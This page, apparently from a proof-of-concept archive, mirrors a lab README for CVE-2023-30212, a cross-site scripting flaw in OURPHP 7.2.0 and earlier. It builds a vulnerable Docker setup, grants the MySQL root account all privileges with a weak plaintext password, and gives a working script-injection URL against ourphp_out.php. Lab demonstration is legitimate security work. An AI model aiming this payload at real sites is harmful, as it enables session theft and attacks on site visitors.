Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2023-30212 PoC — OURPHP 跨站脚本漏洞

Source
Associated Vulnerability
Title: OURPHP 跨站脚本漏洞 (CVE-2023-30212)
Description:OURPHP <= 7.2.0 is vulnerale to Cross Site Scripting (XSS) via /client/manage/ourphp_out.php.
Readme
# Creating a Vulnerable Docker Environment (CVE-2023-30212)

## **Description**
CVE-2023-30212 is a security vulnerability that affects versions of OURPHP prior to or equal to 7.2.0. 
This vulnerability allows for Cross-Site Scripting (XSS) attacks

OURPHP <= 7.2.0 is vulnerale to Cross Site Scripting (XSS) via /client/manage/ourphp_out.php

 ># Steps

- **let’s download  Dockerfile**
 
- **Open Terminal in the folder where you downloaded the dockerfile**

- **Install Docker on your machine**

  kali@kali:~$sudo apt install -y docker.io
  

- **Create a new Docker image**

  kali@kali:~$docker build -t test
 
- **Create a new Docker container**

  kali@kali:~$ docker run -d -p 80:80 test
  
 ># Configure the web
 
 - **Take Docker shell**

   kali@kali:~$docker ps
   
   **Now get the container id like 0ac7c99ad8e7**
   
   kali@kali:~ docker exec -it 0ac7c99ad8e7 /bin/bash
   
   root@0ac7c99ad8e7:/var/www/html# 
   
   **Now get the docker shell**
   
  - **Set up the database**

  root@0ac7c99ad8e7:/var/www/html# mysql
  
 **Then type these comments:-**
 
 -GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' IDENTIFIED BY 'naseef' WITH GRANT OPTION;
 
 -FLUSH PRIVILEGES;
 
   *The command you provided is a MySQL or MariaDB statement used to grant all privileges to the 'root' user on all databases and tables. Let's break down the components of the    command*
 
 **Now the password is set, now go to the website and enter the password and configure**
 
 
  ># Exploiting vulnerability
 

  url :- http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=</script><script>alert(`xss`)</script>
  
  
  *This website is xss vulnerable because xss script is hit when you enter this url parameter*
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →